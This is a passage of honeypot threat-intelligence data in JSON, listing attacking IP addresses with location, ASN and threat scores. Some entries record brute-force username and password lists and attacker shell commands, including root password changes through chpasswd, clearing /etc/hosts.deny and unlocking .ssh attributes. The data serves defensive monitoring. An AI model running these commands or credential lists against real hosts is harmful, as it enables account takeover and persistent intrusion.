        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T04:22:40+00:00",
        "last_seen_30d": "2026-04-30T07:02:13.813000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 158,
        "Honeytrap": 91,
        "Mailoney": 6,
        "ConPot": 4,
        "Cowrie": 3,
        "Adbhoney": 2,
        "Dionaea": 2
      }
    },
    "64.62.197.227": {
      "attack_count": 3,
      "first_seen": "2026-04-01T03:58:09.332Z",
      "last_seen": "2026-04-01T03:58:09.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 280,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T03:58:09.332000+00:00",
        "last_seen_30d": "2026-04-30T13:28:32.493000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 175,
        "Honeytrap": 66,
        "Ciscoasa": 13,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Cowrie": 3,
        "Dionaea": 3,
        "Tanner": 2,
        "Miniprint": 1
      }
    },
    "68.183.31.20": {
      "attack_count": 3,
      "first_seen": "2026-04-18T19:29:17.499Z",
      "last_seen": "2026-04-18T19:29:17.501Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-18T19:29:17+00:00",
        "last_seen_30d": "2026-04-18T19:30:34.528000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 13,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "Dionaea": 1
      }
    },
    "106.40.243.146": {
      "attack_count": 2,
      "first_seen": "2026-04-17T10:27:46.103Z",
      "last_seen": "2026-04-17T10:28:00.008Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T10:27:46.103000+00:00",
        "last_seen_30d": "2026-04-17T10:29:09.452000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.209.127.179": {
      "attack_count": 2,
      "first_seen": "2026-04-05T02:55:36.937Z",
      "last_seen": "2026-04-05T02:55:50.672Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T02:55:36.937000+00:00",
        "last_seen_30d": "2026-04-05T02:56:55.835000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.161.64.45": {
      "attack_count": 2,
      "first_seen": "2026-04-05T10:49:07.847Z",
      "last_seen": "2026-04-05T10:49:20.932Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Inhambupe",
      "asn": 264369,
      "as_org": "IOL REDE DE PROVEDORES LTDA",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T10:49:07.847000+00:00",
        "last_seen_30d": "2026-04-05T10:50:27.722000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.72.94.48": {
      "attack_count": 2,
      "first_seen": "2026-04-25T23:34:25.403Z",
      "last_seen": "2026-04-25T23:36:25.405Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Guaratinguet\u00e1",
      "asn": 262797,
      "as_org": "PROVALE SCM LTDA",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T23:34:25.403000+00:00",
        "last_seen_30d": "2026-04-25T23:46:30.005000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.129": {
      "attack_count": 2,
      "first_seen": "2026-04-14T16:23:09.594Z",
      "last_seen": "2026-04-14T16:23:40.636Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T03:01:46+00:00",
        "last_seen_30d": "2026-04-30T04:10:14.081000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 29,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "160.30.5.219": {
      "attack_count": 2,
      "first_seen": "2026-04-30T10:42:04.345Z",
      "last_seen": "2026-04-30T10:42:35.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Johor Bahru",
      "asn": 137552,
      "as_org": "Terabix",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:42:04.345000+00:00",
        "last_seen_30d": "2026-04-30T10:43:38.742000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.102.127.44": {
      "attack_count": 2,
      "first_seen": "2026-04-21T01:35:04.322Z",
      "last_seen": "2026-04-21T01:35:17.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Mosquera",
      "asn": 273204,
      "as_org": "COLOMBIA MAS TV S.A.S",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T01:35:04.322000+00:00",
        "last_seen_30d": "2026-04-21T01:36:21.124000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.132": {
      "attack_count": 2,
      "first_seen": "2026-04-17T15:52:02.452Z",
      "last_seen": "2026-04-17T15:52:34.433Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T19:51:23+00:00",
        "last_seen_30d": "2026-04-30T04:10:46.928000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 7,
        "Cowrie": 2
      }
    },
    "218.161.9.237": {
      "attack_count": 2,
      "first_seen": "2026-04-13T10:18:09.864Z",
      "last_seen": "2026-04-13T10:18:22.885Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T10:18:09.864000+00:00",
        "last_seen_30d": "2026-04-13T10:19:29.312000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.128.116": {
      "attack_count": 2,
      "first_seen": "2026-04-19T19:31:59.489Z",
      "last_seen": "2026-04-19T19:31:59.491Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 9.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 11,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T08:05:12+00:00",
        "last_seen_30d": "2026-04-19T19:33:09.470000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "46.147.242.82": {
      "attack_count": 2,
      "first_seen": "2026-04-18T08:14:26.987Z",
      "last_seen": "2026-04-18T08:14:40.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Rostov-on-Don",
      "asn": 57378,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T08:14:26.987000+00:00",
        "last_seen_30d": "2026-04-18T08:15:44.020000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.129.73.41": {
      "attack_count": 2,
      "first_seen": "2026-04-27T15:02:32.734Z",
      "last_seen": "2026-04-27T15:02:45.451Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Milton Keynes",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T15:02:32.734000+00:00",
        "last_seen_30d": "2026-04-27T15:03:50.078000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.148.37.21": {
      "attack_count": 2,
      "first_seen": "2026-04-26T17:10:04.986Z",
      "last_seen": "2026-04-26T17:12:04.987Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Halstead",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:10:04.986000+00:00",
        "last_seen_30d": "2026-04-26T17:22:49.679000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "91.230.168.241": {
      "attack_count": 2,
      "first_seen": "2026-04-12T18:45:09.550Z",
      "last_seen": "2026-04-12T18:45:19.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 56.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 24,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T09:00:36+00:00",
        "last_seen_30d": "2026-04-24T16:52:14.962000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 11,
        "Cowrie": 2
      }
    },
    "94.154.35.215": {
      "attack_count": 25150,
      "first_seen": "2026-04-01T00:13:27.222Z",
      "last_seen": "2026-04-30T23:25:59.909Z",
      "sessions": 4636,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "authority",
        "ftp1",
        "ddd",
        "admin"
      ],
      "passwords_attempted": [
        "or4cl3",
        "authority",
        "ftp1",
        "ddd",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35855,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:13:27.222000+00:00",
        "last_seen_30d": "2026-04-30T23:27:07.979000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25150,
        "Suricata": 10705
      }
    },
    "64.89.163.173": {
      "attack_count": 5149,
      "first_seen": "2026-04-15T09:21:14.713Z",
      "last_seen": "2026-04-20T07:05:56.555Z",
      "sessions": 1466,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "dell",
        "test",
        "jenkins",
        "apache",
        "deploy",
        "git",
        "hadoop",
        "DJ",
        "abms",
        "ascend",
        "caja01",
        "cdac",
        "chengjie",
        "chenjianyi",
        "chenyufei-srt",
        "chuantan",
        "clz",
        "czb"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "111111",
        "1",
        "blabla123x!!!",
        "1qaz@WSX",
        "10301X",
        "123!@#qwe",
        "123321",
        "1234512345",
        "1234QWERasdf",
        "123qwe!@#",
        "123server",
        "19971027",
        "199894Gyx",
        "2wsx1qaz!",
        "2wsxcde3admin",
        "3edc@WSX1qaz",
        "7890uiop"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 401626,
      "as_org": "Netiface America, Inc.",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8710,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T23:25:00.659000+00:00",
        "last_seen_30d": "2026-04-20T07:06:58.064000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5149,
        "Suricata": 3561
      }
    },
    "203.121.40.210": {
      "attack_count": 830,
      "first_seen": "2026-04-03T06:56:55.488Z",
      "last_seen": "2026-04-04T22:13:14.903Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "odoo",
        "admin",
        "user",
        "ansible",
        "bin",
        "claude",
        "deploy",
        "dev",
        "minecraft",
        "n8n",
        "steam",
        "superuser",
        "teamspeak",
        "test4",
        "tmpuser",
        "usera"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "!@#$qwer1234",
        "!QAZ4rfv",
        "&UJM,ki8",
        ",ki89ol.",
        "0000",
        "0011",
        "123",
        "1234!qwer",
        "12345@Admin",
        "1qazxsw2",
        "202437",
        "2026123",
        "654321",
        "AAaa123456",
        "ABCabc123456",
        "Abc!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1qazxsw2\\nUSFkGab19H7r\\nUSFkGab19H7r\\n\"|passwd",
        "echo \"Changeme_123\\nZHAQjt4nrqCM\\nZHAQjt4nrqCM\\n\"|passwd",
        "echo \"ZXCVBN\\nPrEqeXhW6PHd\\nPrEqeXhW6PHd\\n\"|passwd",
        "echo \"root:MJSIgF7jaHGq\"|chpasswd|bash",
        "echo \"root:qCP5t8eFETx9\"|chpasswd|bash",
        "echo \"root:yYQ8NaFUoqXo\"|chpasswd|bash",
        "echo \"secret2025!\\nQO5Fc7kIYdXm\\nQO5Fc7kIYdXm\\n\"|passwd",
        "echo -e \"1qazxsw2\\nUSFkGab19H7r\\nUSFkGab19H7r\"|passwd|bash",
        "echo -e \"Changeme_123\\nZHAQjt4nrqCM\\nZHAQjt4nrqCM\"|passwd|bash",
        "echo -e \"ZXCVBN\\nPrEqeXhW6PHd\\nPrEqeXhW6PHd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 1027,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:56:55.488000+00:00",
        "last_seen_30d": "2026-04-04T22:14:23.159000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 830,
        "Suricata": 197
      }
    },
    "13.81.183.30": {
      "attack_count": 587,
      "first_seen": "2026-04-14T00:35:08.345Z",
      "last_seen": "2026-04-25T23:25:09.204Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ubuntu",
        "sunil",
        "test1",
        "user",
        "ali",
        "awsftpuser",
        "deploy",
        "dev",
        "devuser",
        "marina",
        "minecraft",
        "mis",
        "n8n",
        "odoo",
        "oem",
        "postgres",
        "runner"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "test123",
        "1234",
        "456852",
        "Aa112211.",
        "Abc123!",
        "Abcd12345!!",
        "Admin123",
        "DDaa123",
        "Guest@123",
        "Odoo#",
        "Pass@1234",
        "QAZxsw123",
        "Qazwsx111#$",
        "Qwerty_123456",
        "Sam4z1ngw0nd3r5Z",
        "Welcome1!",
        "Zxc123!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:CzX6cz2QnoVP\"|chpasswd|bash",
        "echo \"root:ECpX3LU8KFzH\"|chpasswd|bash",
        "echo \"root:rdDBlA99A0U0\"|chpasswd|bash",
        "echo \"sunil123\\ndbtuO34RLJ1i\\ndbtuO34RLJ1i\\n\"|passwd",
        "echo \"test\\nzN3p7U9d2P7q\\nzN3p7U9d2P7q\\n\"|passwd",
        "echo -e \"sunil123\\ndbtuO34RLJ1i\\ndbtuO34RLJ1i\"|passwd|bash",
        "echo -e \"test\\nzN3p7U9d2P7q\\nzN3p7U9d2P7q\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.6,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 718,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:35:08.345000+00:00",
        "last_seen_30d": "2026-04-25T23:26:11.664000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 587,
        "Suricata": 131
      }
    },
    "189.194.140.170": {
      "attack_count": 567,
      "first_seen": "2026-04-02T08:24:43.898Z",
      "last_seen": "2026-04-19T16:31:36.797Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser",
        "server",
        "teamspeak",
        "abdo",
        "ociistst",
        "odoo",
        "postgres",
        "root1",
        "test",
        "user",
        "user1",
        "user10",
        "vlad"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123456789/*",
        "123654",
        "147852",
        "1Q2W3e4r",
        "1qwaszx",
        "999999",
        "A1234567890",
        "Abc123123!",
        "Admin123456",
        "Jh123456@",
        "P@ssw0rd",
        "P@ssw0rd@2025",
        "Password123$",
        "QWE",
        "Server17",
        "Sj123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Server17\\nGT9Trsx5A0i9\\nGT9Trsx5A0i9\\n\"|passwd",
        "echo \"Teamspeak9\\n8vy1oo6pxsky\\n8vy1oo6pxsky\\n\"|passwd",
        "echo \"root:FGaghKOQlRuX\"|chpasswd|bash",
        "echo \"root:URBSobfXxzzg\"|chpasswd|bash",
        "echo \"root:lK2pBdXI1F1b\"|chpasswd|bash",
